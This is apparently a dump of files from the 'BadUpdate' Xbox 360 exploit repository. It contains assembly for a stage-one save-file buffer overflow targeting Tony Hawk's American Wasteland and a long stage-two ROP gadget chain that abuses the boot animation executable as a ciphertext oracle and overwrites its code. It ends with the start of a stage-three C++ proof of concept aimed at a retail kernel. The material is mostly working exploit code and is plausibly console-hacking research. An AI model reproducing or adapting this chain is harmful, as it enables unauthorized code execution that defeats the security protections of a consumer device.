stack pointer address, written by previous gadgets 124 | 125 | 126 | # Pad the data to the next 4 byte boundary. 127 | .long 0x00000000 128 | 129 | _buffer_overflow_end: 130 | 131 | _gap_data_base_address_ptr: 132 | .long GapDataStartHeapAddress 133 | 134 | #--------------------------------------------------------- 135 | # Temporary data we copy to the .binkdata section 136 | #--------------------------------------------------------- 137 | 138 | .include "BadUpdateExploit_Data.asm" 139 | 140 | # Secret symbol table: 141 | .long 0x69696969 142 | .long second_stage_chain_address 143 | 144 | _gap_data_end: 145 | 146 | #--------------------------------------------------------- 147 | # End of file 148 | #--------------------------------------------------------- 149 | .long 0xffffffff 150 | -------------------------------------------------------------------------------- /Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/415607D4/00000001/Hack Xbox-Park: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grimdoomer/Xbox360BadUpdate/521a2894dfb55804623acfcbc763712c52385835/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/415607D4/00000001/Hack Xbox-Park -------------------------------------------------------------------------------- /Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/FFFE07D1/00010000/E00000A95A946494: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grimdoomer/Xbox360BadUpdate/521a2894dfb55804623acfcbc763712c52385835/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/FFFE07D1/00010000/E00000A95A946494 -------------------------------------------------------------------------------- /Stage1/TonyHawksAmericanWasteland/TonyHawk.asm: -------------------------------------------------------------------------------- 1 | 2 | ########################################################### 3 | # Tony Hawk function addresses. 4 | 5 | # XTL functions: 6 | .set XPhysicalAlloc, 0x822DA430 7 | .set XSetThreadProcessor, 0x822DA2E0 8 | 9 | 10 | ########################################################### 11 | # Tony Hawk data addresses. 12 | .set RuntimeDataSegmentAddress, 0x8275D600 # We use the .binkdata section as a temporary data segment 13 | 14 | 15 | ########################################################### 16 | # Save file constants 17 | .set GapDataStartFileOffset, 0xDF4 # Offset of the gap data in the save file 18 | .set GapDataStartHeapAddress, 0xB43B682E # Address of the gap data on the heap 19 | .set OriginalStackPointer, 0x7004F2F0 # Stack pointer value upon exiting the load park function 20 | 21 | -------------------------------------------------------------------------------- /Stage2/BadUpdateExploit-2ndStage.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Compiler flags, must be set before any code or include directives: 4 | .include "BuildConfig.asm" 5 | 6 | # Include the header for the data segment file. 7 | .include "BadUpdateExploit_Data_h.asm" 8 | 9 | # Include additional files: 10 | .include "Gadgets.asm" 11 | .include "GetPayloadCipherText_Macros.asm" 12 | .include "MemcpyCipherText.asm" 13 | 14 | .set overwrite_loop_gadget_data_size, _cipher_text_overwrite_loop_end - _cipher_text_overwrite_loop 15 | 16 | 17 | # Pad the start of the chain to give the first few function calls additional stack space without having 18 | # to worry about them passing the start of the ROP chain buffer and corrupting memory. 19 | .fill second_stage_offset, 1, 0x00 20 | 21 | ########################################################### 22 | # Gadget N: transition from first stage ROP chain 23 | # 24 | # -lwz r1, 0(r1) 25 | # lwz r12, -8(r1) 26 | # mtlr r12 27 | # blr 28 | ########################################################### 29 | .long __restgprlr_31 # lr 30 | .long 0x00000000 31 | 32 | # second_stage_chain_address is offset by 8 to account for the displacement in the stack pivot gadget used to 33 | # jump here. To compensate I offset _second_stage_chain_start by 8 so all relative calculations using it are correct. 34 | _second_stage_chain_start = . 35 | 36 | ########################################################### 37 | # Gadget N: set LED color to indicate second stage has started 38 | # 39 | ########################################################### 40 | SET_LED (LED_COLOR_RED_1 | LED_COLOR_GREEN_1 | LED_COLOR_RED_2 | LED_COLOR_GREEN_2) 41 | 42 | ########################################################### 43 | # Gadget N: map flash so we can access the boot animation executable 44 | # 45 | ########################################################### 46 | CREATE_SYMLINK flash_symlink_mount, flash_symlink_path 47 | 48 | ########################################################### 49 | # Gadget N: call XexLoadImage and load bootanim.xex 50 | # 51 | # r3 = xex file path 52 | # r4 = flags 53 | # r5 = version requirements (NULL) 54 | # r6 = address to store module handle at 55 | ########################################################### 56 | CALL_FUNC 11, XexLoadImage, R3H=0, R3L=flash_bootanim_path, R4H=0, R4L=0x40000009, R5H=0, R5L=0, R6H=0, R6L=bootanim_module_handle 57 | 58 | ########################################################### 59 | # Gadget N: call MmGetPhysicalAddress to get physical address of boot animation code page 60 | # 61 | # r3 = memory address of boot animation code page 62 | ########################################################### 63 | CALL_FUNC 11, MmGetPhysicalAddress, R3H=0, R3L=BootAnimCodePageAddress 64 | .fill 0x50, 1, 0x00 65 | .long 0x00000000, BootAnimCodePagePhysAddr # r31 - address to store return value to 66 | .long stw_r3 # lr 67 | .long 0x00000000 68 | 69 | ########################################################### 70 | # Gadget N: store physical address of boot animation code page 71 | # 72 | # stw r3, 0(r31) 73 | # addi r1, r1, 0x60 74 | # lwz r12, -0x8(r1) 75 | # mtlr r12 76 | # ld r31, -0x10(r1) 77 | # blr 78 | ########################################################### 79 | .fill 0x50, 1, 0x00 80 | .long 0x31313131, 0x31313131 # r31 81 | .long __restgprlr_31 # lr 82 | .long 0x00000000 83 | 84 | ########################################################### 85 | # Gadget N: update XexUnloadImage gadget data with the boot animation module handle 86 | # 87 | ########################################################### 88 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r3_offset) - _second_stage_chain_start, bootanim_module_handle 89 | 90 | ########################################################### 91 | # Gadget N: copy plain text oracle data 92 | # 93 | # r3 = destination address 94 | # r4 = source address 95 | # r5 = size to copy 96 | ########################################################### 97 | CALL_FUNC 11, memcpy, R3H=0, R3L=abOracleData, R4H=0, R4L=BootAnimCodePageAddress, R5H=0, R5L=0x00000010 98 | 99 | ########################################################### 100 | # Gadget N: unload boot animation 101 | # 102 | # r3 = boot animation module handle (to be updated by previous gadgets) 103 | ########################################################### 104 | CALL_FUNC 1, XexUnloadImage, R3H=0, R3L=0x41414141 105 | 106 | ########################################################### 107 | # Gadget N: call XPhysicalAlloc and allocate cipher text scratch memory 108 | # 109 | # r3 = allocation size 110 | # r4 = requested address = MAXULONG_PTR 111 | # r5 = alignment 112 | # r6 = page flags: PAGE_READWRITE | MEM_LARGE_PAGES 113 | ########################################################### 114 | CALL_FUNC 11, XPhysicalAlloc, R3H=0, R3L=0x00010080, R4H=0, R4L=0xFFFFFFFF, R5H=0, R5L=0x00000080, R6H=0, R6L=0x20000004 115 | .fill 0x50, 1, 0x00 116 | .long 0x00000000, pPayloadCipherText # r31 - address to store allocation address at 117 | .long stw_r3 # lr 118 | .long 0x00000000 119 | 120 | ########################################################### 121 | # Gadget N: store allocation address 122 | # 123 | # stw r3, 0(r31) 124 | # addi r1, r1, 0x60 125 | # lwz r12, -0x8(r1) 126 | # mtlr r12 127 | # ld r31, -0x10(r1) 128 | # blr 129 | ########################################################### 130 | .fill 0x50, 1, 0x00 131 | .long 0x31313131, 0x31313131 # r31 132 | .long __restgprlr_31 # lr 133 | .long 0x00000000 134 | 135 | ########################################################### 136 | # Gadget N: setup for MmGetPhysicalAddress call 137 | # 138 | # addi r1, r1, 0x60 139 | # lwz r12, -0x8(r1) 140 | # mtlr r12 141 | # ld r31, -0x10(r1) 142 | # blr 143 | ########################################################### 144 | .fill 0x50, 1, 0x00 145 | .long 0x00000000, MmGetPhysicalAddress # r31 - function address to call 146 | .long call_func_dispatch # lr 147 | .long 0x00000000 148 | 149 | ########################################################### 150 | # Gadget N: call MmGetPhysicalAddress and get physical address of pPayloadCipherText allocation 151 | # Note: r3 still contains the allocation address 152 | # 153 | # mtctr r31 154 | # bctrl 155 | # addi r1, r1, 0x60 156 | # lwz r12, -8(r1) 157 | # mtlr r12 158 | # ld r31, -0x10(r1) 159 | # blr 160 | ########################################################### 161 | .fill 0x50, 1, 0x00 162 | .long 0x00000000, PayloadCipherTextPhysAddr # r31 - address to store physical address at 163 | .long stw_r3 # lr 164 | .long 0x00000000 165 | 166 | ########################################################### 167 | # Gadget N: store physical address of allocation 168 | # 169 | # stw r3, 0(r31) 170 | # addi r1, r1, 0x60 171 | # lwz r12, -0x8(r1) 172 | # mtlr r12 173 | # ld r31, -0x10(r1) 174 | # blr 175 | ########################################################### 176 | .fill 0x50, 1, 0x00 177 | .long 0x31313131, 0x31313131 # r31 178 | .long __restgprlr_31 # lr 179 | .long 0x00000000 180 | 181 | #DBG_BREAK 182 | 183 | ########################################################### 184 | # Gadget N: copy cipher text buffer pointers 185 | # 186 | ########################################################### 187 | WRITE_PTR_TO_ADDR pPayloadCipherText2, pPayloadCipherText 188 | WRITE_PTR_TO_ADDR pPayloadCipherTextSizeValue, pPayloadCipherText 189 | WRITE_PTR_TO_ADDR PayloadCipherTextSizeValuePhysAddr, PayloadCipherTextPhysAddr 190 | 191 | ########################################################### 192 | # Gadget N: update pPayloadCipherTextSizeValue/PayloadCipherTextSizeValuePhysAddr by 0x20 193 | # 194 | ########################################################### 195 | LOAD_ADD_STORE pPayloadCipherTextSizeValue, 0x20 196 | LOAD_ADD_STORE PayloadCipherTextSizeValuePhysAddr, 0x20 197 | 198 | ########################################################### 199 | # Gadget N: offset pPayloadCipherText2 by 0x80 200 | # 201 | ########################################################### 202 | LOAD_ADD_STORE pPayloadCipherText2, 0x80 203 | 204 | #DBG_BREAK 205 | 206 | ########################################################### 207 | # Gadget N: get the cipher text for the boot animation oracle data and code we want to write to memory 208 | # 209 | ########################################################### 210 | .include "GetPayloadCipherText.asm" 211 | 212 | ########################################################### 213 | # Gadget N: allocate virtual memory for secondary overwrite loop gadget buffer 214 | # 215 | # r3 = pointer to allocation address (NULL) 216 | # r4 = pointer to size variable 217 | # r5 = allocation type = MEM_COMMIT 218 | # r6 = page protection = PAGE_READWRITE 219 | # r7 = memory region type 220 | ########################################################### 221 | CALL_FUNC 11, NtAllocateVirtualMemory, R3H=0, R3L=overwrite_loop_secondary_buffer_address, R4H=0, R4L=overwrite_loop_secondary_buffer_size, R5H=0, R5L=0x00001000, R6H=0, R6L=0x00000004, R7H=0, R7L=0 222 | 223 | ########################################################### 224 | # Gadget N: setup overwrite_loop_stack_address[0] to point to _cipher_text_overwrite_loop in primary buffer 225 | # 226 | ########################################################### 227 | WRITE_PTR_TO_ADDR overwrite_loop_stack_address, second_stage_chain_address 228 | LOAD_ADD_STORE overwrite_loop_stack_address, (_cipher_text_overwrite_loop - _second_stage_chain_start) + 8 # +8 to account for displacement in stack pivot gadget 229 | 230 | ########################################################### 231 | # Gadget N: setup overwrite_cipher_text_stack_address to point to _copy_and_execute_stage_three 232 | # 233 | ########################################################### 234 | WRITE_PTR_TO_ADDR overwrite_cipher_text_stack_address, second_stage_chain_address 235 | LOAD_ADD_STORE overwrite_cipher_text_stack_address, (_copy_and_execute_stage_three - _second_stage_chain_start) + 8 # +8 to account for displacement in stack pivot gadget 236 | 237 | ########################################################### 238 | # Gadget N: fill in missing values for overwrite loop that are common between primary/secondary gadget buffers 239 | # 240 | ########################################################### 241 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (12f + cf_r3_offset) - _second_stage_chain_start, pPayloadCipherText 242 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (13f + cf_r3_offset) - _second_stage_chain_start, pPayloadCipherText 243 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, 5f - _second_stage_chain_start, overwrite_cipher_text_stack_address 244 | 245 | WRITE_PTR_TO_ADDR arithmetic_scratch1, pPayloadCipherText 246 | LOAD_ADD_STORE arithmetic_scratch1, 0x10 247 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (13f + cf_r4_offset) - _second_stage_chain_start, arithmetic_scratch1 248 | 249 | ########################################################### 250 | # 251 | # Secondary overwrite loop setup 252 | # 253 | ########################################################### 254 | 255 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, 7f - _second_stage_chain_start, overwrite_loop_stack_address # stack pivot address for exiting the secondary overwrite loop 256 | 257 | # setup overwrite_loop_stack_address[1] to point to _cipher_text_overwrite_loop in secondary buffer 258 | WRITE_PTR_TO_ADDR overwrite_loop_stack_address + 4, overwrite_loop_secondary_buffer_address 259 | LOAD_ADD_STORE overwrite_loop_stack_address + 4, second_stage_offset + 8 # +8 to account for displacement in stack pivot gadget 260 | 261 | # source address for gadget data save: 262 | WRITE_PTR_TO_ADDR arithmetic_scratch1, second_stage_chain_address 263 | LOAD_ADD_STORE arithmetic_scratch1, _cipher_text_overwrite_loop - _second_stage_chain_start 264 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (22f + cf_r4_offset) - _second_stage_chain_start, arithmetic_scratch1 265 | 266 | # destination address for gadget data save = overwrite_loop_secondary_buffer_address + (secondary_overwrite_loop_max_size / 2) 267 | WRITE_PTR_TO_ADDR arithmetic_scratch1, overwrite_loop_secondary_buffer_address 268 | LOAD_ADD_STORE arithmetic_scratch1, secondary_overwrite_loop_max_size / 2 269 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (22f + cf_r3_offset) - _second_stage_chain_start, arithmetic_scratch1 270 | 271 | # source address for gadget data restore: 272 | WRITE_PTR_TO_ADDR arithmetic_scratch1, second_stage_chain_address 273 | LOAD_ADD_STORE arithmetic_scratch1, _overwrite_loop_gadget_data - _second_stage_chain_start 274 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (18f + cf_r4_offset) - _second_stage_chain_start, arithmetic_scratch1 275 | 276 | # destination address for gadget data restore: 277 | WRITE_PTR_TO_ADDR arithmetic_scratch1, second_stage_chain_address 278 | LOAD_ADD_STORE arithmetic_scratch1, _cipher_text_overwrite_loop - _second_stage_chain_start 279 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (18f + cf_r3_offset) - _second_stage_chain_start, arithmetic_scratch1 280 | 281 | ########################################################### 282 | # Gadget N: save gadget data below into secondary overwrite buffer staging area 283 | # 284 | ########################################################### 285 | CALL_FUNC 22, memcpy, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=overwrite_loop_gadget_data_size 286 | 287 | ########################################################### 288 | # 289 | # Primary overwrite loop setup 290 | # 291 | ########################################################### 292 | 293 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, 1f - _second_stage_chain_start, overwrite_loop_stack_address # stack pivot address for entering the primary overwrite loop 294 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, 7f - _second_stage_chain_start, overwrite_loop_stack_address + 4 # stack pivot address for exiting the primary overwrite loop 295 | 296 | # source address for gadget data save: 297 | WRITE_PTR_TO_ADDR arithmetic_scratch1, second_stage_chain_address 298 | LOAD_ADD_STORE arithmetic_scratch1, _cipher_text_overwrite_loop - _second_stage_chain_start 299 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (22f + cf_r4_offset) - _second_stage_chain_start, arithmetic_scratch1 300 | 301 | # destination address for gadget data save: 302 | WRITE_PTR_TO_ADDR arithmetic_scratch1, second_stage_chain_address 303 | LOAD_ADD_STORE arithmetic_scratch1, _overwrite_loop_gadget_data - _second_stage_chain_start 304 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (22f + cf_r3_offset) - _second_stage_chain_start, arithmetic_scratch1 305 | 306 | # source address for gadget data restore = overwrite_loop_secondary_buffer_address + (secondary_overwrite_loop_max_size / 2) 307 | WRITE_PTR_TO_ADDR arithmetic_scratch1, overwrite_loop_secondary_buffer_address 308 | LOAD_ADD_STORE arithmetic_scratch1, secondary_overwrite_loop_max_size / 2 309 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (18f + cf_r4_offset) - _second_stage_chain_start, arithmetic_scratch1 310 | 311 | # destination address for gadget data restore = overwrite_loop_secondary_buffer_address + second_stage_offset 312 | WRITE_PTR_TO_ADDR arithmetic_scratch1, overwrite_loop_secondary_buffer_address 313 | LOAD_ADD_STORE arithmetic_scratch1, second_stage_offset 314 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (18f + cf_r3_offset) - _second_stage_chain_start, arithmetic_scratch1 315 | 316 | 317 | 318 | 319 | ########################################################### 320 | # Gadget N: save overwrite loop gadget data 321 | # 322 | ########################################################### 323 | CALL_FUNC 22, memcpy, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=overwrite_loop_gadget_data_size 324 | .fill 0x50, 1, 0x00 325 | .long 0x31313131, 0x31313131 # r31 326 | .long stack_pivot # lr 327 | .long 0x00000000 328 | 329 | ########################################################### 330 | # Gadget N: stack pivot into the loop 331 | # 332 | # lwz r1, 0(r1) 333 | # -lwz r12, -8(r1) 334 | # -mtlr r12 335 | # -blr 336 | ########################################################### 337 | 1: .long 0x41414141 # stack address for the start of the loop to pivot to 338 | 339 | # Align the stack to a 16 byte alignment. On dev builds XexLoadImage will print library info for the module 340 | # and requires 8 byte alignment for parameters. 341 | .align 4 342 | 343 | # Note: this loop cannot use any gadgets/functionality that requires a base address outside of the GET_STACK_POINTER 344 | # macro, as it will be executed from two different memory locations. 345 | 346 | _cipher_text_overwrite_loop: 347 | 348 | ########################################################### 349 | # Gadget N: transition from stack pivot 350 | # 351 | # -lwz r1, 0(r1) 352 | # lwz r12, -8(r1) 353 | # mtlr r12 354 | # blr 355 | ########################################################### 356 | .long __restgprlr_31 # lr 357 | .long 0x00000000 358 | 359 | ########################################################### 360 | # Gadget N: call XexLoadImage and load the boot animation 361 | # 362 | # r3 = xex file path 363 | # r4 = flags 364 | # r5 = version requirements (NULL) 365 | # r6 = address to store module handle at 366 | ########################################################### 367 | CALL_FUNC 11, XexLoadImage, R3H=0, R3L=flash_bootanim_path, R4H=0, R4L=0x40000009, R5H=0, R5L=0x00000000, R6H=0, R6L=bootanim_module_handle 368 | 369 | ########################################################### 370 | # Gadget N: setup source and dest pointers for MEMCPY_CIPHER_TEXT macro 371 | # 372 | ########################################################### 373 | WRITE_PTR_TO_ADDR memcpy_cipher_text_dst_addr, PayloadCipherTextPhysAddr 374 | LOAD_ADD_STORE memcpy_cipher_text_dst_addr, 0x10 375 | WRITE_PTR_TO_ADDR memcpy_cipher_text_src_addr, BootAnimCodePagePhysAddr 376 | 377 | ########################################################### 378 | # Gadget N: get the cipher text for the boot animation at the target write address 379 | # 380 | ########################################################### 381 | MEMCPY_CIPHER_TEXT memcpy_cipher_text_dst_addr, memcpy_cipher_text_src_addr, 0x10 382 | 383 | ########################################################### 384 | # Gadget N: flush cache for the cipher text we just read. 385 | # 386 | # r3 = base address for cache flush 387 | # r4 = cache size to flush 388 | ########################################################### 389 | CALL_FUNC 12, KeFlushCacheRange, R3H=0, R3L=0x41414141, R4H=0, R4L=0x00000080 390 | 391 | ########################################################### 392 | # Gadget N: compare the cipher text at the target write address to the cipher text for the oracle data we captured earlier 393 | # 394 | # r3 = cipher text for the oracle data 395 | # r4 = cipher text for the current iteration 396 | # r5 = number of bytes to compare 397 | ########################################################### 398 | CALL_FUNC 13, memcmp, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00000010 399 | .fill 0x50, 1, 0x00 400 | .long 0x31313131, 0x31313131 # r31 401 | .long __restgprlr_30 # lr 402 | .long 0x00000000 403 | 404 | ########################################################### 405 | # Gadget N: setup for next gadget 406 | # 407 | # addi r1, r1, 0x70 408 | # lwz r12, -0x8(r1) 409 | # mtlr r12 410 | # ld r30, -0x18(r1) 411 | # ld r31, -0x10(r1) 412 | # blr 413 | ########################################################### 414 | .fill 0x58, 1, 0x00 415 | .long 0x00000000, memcmp_if_call_ptr - mul_r3_4_lwzx_r11__disp # r30 - pointer to gadget array 416 | .long 0x00000000, arithmetic_scratch1 # r31 - pointer to scratch variable 417 | .long stw_r30_on_r31 # lr 418 | .long 0x00000000 419 | 420 | ########################################################### 421 | # Gadget N: store memcmp_if_call_ptr pointer into scratch variable 422 | # 423 | # stw r30, 0(r31) 424 | # addi r1, r1, 0x70 425 | # lwz r12, -8(r1) 426 | # mtlr r12 427 | # ld r30, -0x18(r1) 428 | # ld r31, -0x10(r1) 429 | # blr 430 | ########################################################### 431 | .fill 0x58, 1, 0x00 432 | .long 0x00000000, 0x00000000 # r30 - displacement for mul_r3_4_lwzx_r11 gadget 433 | .long 0x00000000, arithmetic_scratch1 - load_add_store_r11_r30_on_r31__disp # r31 - scratch variable containing pointer to gadget array 434 | .long load_add_store_r11_r30_on_r31 # lr 435 | .long 0x00000000 436 | 437 | ########################################################### 438 | # Gadget N: set r11 to point to gadget array for memcmp result 439 | # 440 | # lwz r11, 0xC(r31) 441 | # add r11, r30, r11 442 | # stw r11, 0xC(r31) 443 | # addi r1, r1, 0x70 444 | # lwz r12, -8(r1) 445 | # mtlr r12 446 | # ld r30, -0x18(r1) 447 | # ld r31, -0x10(r1) 448 | # blr 449 | ########################################################### 450 | .fill 0x58, 1, 0x00 451 | .long 0x30303030, 0x30303030 # r30 452 | .long 0x31313131, 0x31313131 # r31 453 | .long clamp_r3 # lr 454 | .long 0x00000000 455 | 456 | ########################################################### 457 | # Gadget N: if (memcmp(...) == 0) r3=0 else r3=1 458 | # 459 | # cmplwi r3, 0 460 | # li r3, 0 461 | # beq loc_817F031C 462 | # li r3, 1 463 | # 464 | # addi r1, r1, 0x60 465 | # lwz r12, -8(r1) 466 | # mtlr r12 467 | # ld r31, -0x10(r1) 468 | # blr 469 | ########################################################### 470 | .fill 0x50, 1, 0x00 471 | .long 0x00000000, mul_r3_4_lwzx_r11 # r31 - next gadget address 472 | .long call_func_dispatch 473 | .long 0x00000000 474 | 475 | ########################################################### 476 | # Gadget N: call next gadget 477 | # 478 | # mtctr r31 479 | # bctrl 480 | # addi r1, r1, 0x60 481 | # lwz r12, -8(r1) 482 | # mtlr r12 483 | # ld r31, -0x10(r1) 484 | # blr 485 | ########################################################### 486 | .fill 0x50, 1, 0x00 487 | .long 0x00000000, read_file_scratch # r31 - scratch address to store gadget address to 488 | .long stw_r3 489 | .long 0x00000000 490 | 491 | ########################################################### 492 | # Gadget N: load gadget address to handle memcmp result 493 | # 494 | # slwi r10, r3, 2 495 | # addi r11, r11, -0x5EAC 496 | # lwzx r3, r10, r11 497 | # blr 498 | ########################################################### 499 | 500 | ########################################################### 501 | # Gadget N: store gadget address to scratch variable 502 | # 503 | # stw r3, 0(r31) 504 | # addi r1, r1, 0x60 505 | # lwz r12, -0x8(r1) 506 | # mtlr r12 507 | # ld r31, -0x10(r1) 508 | # blr 509 | ########################################################### 510 | .fill 0x50, 1, 0x00 511 | .long 0x00000000, read_file_scratch # r31 - scratch address to read gadget address from 512 | .long call_ptr_off_r31 # lr 513 | .long 0x00000000 514 | 515 | ########################################################### 516 | # Gadget N: call gadget address 517 | # 518 | # lwz r11, 0(r31) 519 | # mtctr r11 520 | # bctrl 521 | ########################################################### 522 | 523 | ########################################################### 524 | # Gadget N: if (r3 != 0) { do large epilogue and continue } else { do short epilogue and stack pivot } 525 | # 526 | ########################################################### 527 | 528 | 5: .long 0x41414141 # target stack pivot address 529 | .long 0x00000000 530 | 531 | ########################################################### 532 | # Gadget N: stack pivot to the overwrite section 533 | # 534 | # lwz r1, 0(r1) 535 | # -lwz r12, -8(r1) 536 | # -mtlr r12 537 | # -blr 538 | ########################################################### 539 | 540 | ########################################################### 541 | # Gadget N: setup for next gadget 542 | # 543 | # addi r1, r1, 0x70 544 | # lwz r12, -0x8(r1) 545 | # mtlr r12 546 | # ld r30, -0x18(r1) 547 | # ld r31, -0x10(r1) 548 | # blr 549 | ########################################################### 550 | # Epilogue data for intertwined __restgprlr_30 for else case (+0x8): 551 | .fill 0x58 - 8, 1, 0x00 552 | .long 0x30303030, 0x30303030 # r30 553 | .long 0x00000000, bootanim_module_handle # r31 - address of bootanim_module_handle 554 | .long lwz_r3 # lr 555 | .long 0x00000000 556 | 557 | ########################################################### 558 | # Gadget N: load value of bootanim_module_handle into r3 559 | # 560 | # lwz r3, 0(r31) 561 | # addi r1, r1, 0x60 562 | # lwz r12, var_8(r1) 563 | # mtlr r12 564 | # ld r31, var_10(r1) 565 | # blr 566 | ########################################################### 567 | .fill 0x50, 1, 0x00 568 | .long 0x00000000, XexUnloadImage # r31 - function address to call 569 | .long call_func_dispatch # lr 570 | .long 0x00000000 571 | 572 | ########################################################### 573 | # Gadget N: unload boot animation 574 | # 575 | # mtctr r31 576 | # bctrl 577 | # addi r1, r1, 0x60 578 | # lwz r12, -8(r1) 579 | # mtlr r12 580 | # ld r31, -0x10(r1) 581 | # blr 582 | ########################################################### 583 | .fill 0x50, 1, 0x00 584 | .long 0x31313131, 0x31313131 # r31 585 | .long __restgprlr_31 # lr 586 | .long 0x00000000 587 | 588 | ########################################################### 589 | # Gadget N: copy loop gadget data 590 | # 591 | ########################################################### 592 | CALL_FUNC 18, memcpy, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=overwrite_loop_gadget_data_size 593 | .fill 0x50, 1, 0x00 594 | .long 0x31313131, 0x31313131 # r31 595 | .long stack_pivot # lr 596 | .long 0x00000000 597 | 598 | ########################################################### 599 | # Gadget N: stack pivot back to the start of the loop 600 | # 601 | # lwz r1, 0(r1) 602 | # -lwz r12, -8(r1) 603 | # -mtlr r12 604 | # -blr 605 | ########################################################### 606 | 7: .long 0x41414141 # stack address for the start of the overwrite loop 607 | 608 | _cipher_text_overwrite_loop_end: 609 | 610 | # Align the stack to a 16 byte alignment. 611 | .align 4 612 | 613 | _copy_and_execute_stage_three: 614 | 615 | ########################################################### 616 | # Gadget N: transition from stack pivot 617 | # 618 | # -lwz r1, 0(r1) 619 | # lwz r12, -8(r1) 620 | # mtlr r12 621 | # blr 622 | ########################################################### 623 | .long __restgprlr_31 # lr 624 | .long 0x00000000 625 | 626 | #DBG_BREAK 627 | 628 | ########################################################### 629 | # Gadget N: setup source and dest pointers for MEMCPY_CIPHER_TEXT macro 630 | # 631 | ########################################################### 632 | WRITE_PTR_TO_ADDR memcpy_cipher_text_dst_addr, BootAnimCodePagePhysAddr 633 | WRITE_PTR_TO_ADDR memcpy_cipher_text_src_addr, PayloadCipherTextPhysAddr 634 | LOAD_ADD_STORE memcpy_cipher_text_src_addr, 0x80 635 | 636 | ########################################################### 637 | # Gadget N: fill in gadget data for HvxFlushDCacheRange call 638 | # 639 | ########################################################### 640 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (12f + cf_r3_offset) - _second_stage_chain_start, BootAnimCodePagePhysAddr 641 | 642 | ########################################################### 643 | # Gadget N: overwrite the boot animation with the cipher text for stage three 644 | # 645 | ########################################################### 646 | MEMCPY_CIPHER_TEXT memcpy_cipher_text_dst_addr, memcpy_cipher_text_src_addr, 0x10000 647 | .fill 0x50, 1, 0x00 648 | .long 0x31313131, 0x31313131 # r31 649 | .long __restgprlr_31 # lr 650 | .long 0x00000000 651 | 652 | ########################################################### 653 | # Gadget N: flush cache for encrypted address range we overwrote 654 | # 655 | # r3 = encrypted address of boot animation code 656 | # r4 = size of data to flush 657 | ########################################################### 658 | CALL_FUNC 11, KeFlushCacheRange, R3H=0, R3L=BootAnimCodePageAddress, R4H=0, R4L=0x00010000 659 | 660 | ########################################################### 661 | # Gadget N: flush cache for unencrypted address range we overwrote 662 | # 663 | # r3 = unencrypted physical address of boot animation code 664 | # r4 = size of data to flush 665 | ########################################################### 666 | CALL_FUNC 12, HvxFlushDCacheRange, R3H=0, R3L=0x41414141, R4H=0, R4L=0x00010000 667 | .fill 0x50, 1, 0x00 668 | .long 0x00000000, BootAnimCodePageAddress # r31 - function address to call 669 | .long call_func_dispatch # lr 670 | .long 0x00000000 671 | 672 | ########################################################### 673 | # Gadget N: ~28,000 gadgets later we finally made it... call stage three 674 | # 675 | # mtctr r31 676 | # bctrl 677 | # addi r1, r1, 0x60 678 | # lwz r12, -8(r1) 679 | # mtlr r12 680 | # ld r31, -0x10(r1) 681 | # blr 682 | ########################################################### 683 | 684 | # TODO: trap in case we ever return 685 | 686 | _overwrite_loop_gadget_data: 687 | 688 | # Space to store the overwrite loop gadget data. 689 | .fill overwrite_loop_gadget_data_size, 1, 0x00 690 | 691 | 692 | 693 | # Include the data segment file so that all the EXPLOIT_DATA addresses are calculated correctly. The 694 | # data contained in this file will be compiled into the second stage payload but ignored. 695 | .include "BadUpdateExploit_Data.asm" 696 | 697 | # Secret symbol table: 698 | .long 0x69696969 699 | .long second_stage_chain_address 700 | .long overwrite_loop_stack_address 701 | .long _overwrite_loop_gadget_data - _second_stage_chain_start 702 | .long overwrite_loop_gadget_data_size 703 | .long _cipher_text_overwrite_loop - _second_stage_chain_start 704 | .long overwrite_loop_secondary_buffer_address 705 | -------------------------------------------------------------------------------- /Stage3/BadUpdatePoc.cpp: -------------------------------------------------------------------------------- 1 | 2 | 3 | // Notes: 4 | // 5 | // - NO GLOBAL VARIABLES!!! This code is executed from a RX section of memory, any attempt to write to this memory 6 | // will cause an exception to be thrown and the console to crash. Any data that must be writable must be stored 7 | // in some runtime allocation that is writable memory. 8 | 9 | // Compiler options: 10 | #define KRNL_RETAIL_17559 // Build exploit for retail kernel 17559 11 | 12 | 13 | typedef struct _STRING { 14 | USHORT Length; 15 | USHORT MaximumLength; 16 | PCHAR Buffer; 17 | } ANSI_STRING; 18 | 19 | 20 | // Offset into the 14th block of the update file that contains the instructions we want to write at HV_SEG3_OVERWRITE_OFFSET. 21 | // This should point to the following instruction pattern: 22 | // 23 | // stb %r4, 2(%r6) 24 | // blr 25 | #define BLOCK_14_TARGET_OFFSET 0x15E8 26 | 27 | #define BLOCK_14_SIZE 0x1AD0 28 | 29 | 30 | #if defined(KRNL_RETAIL_17559) 31 | 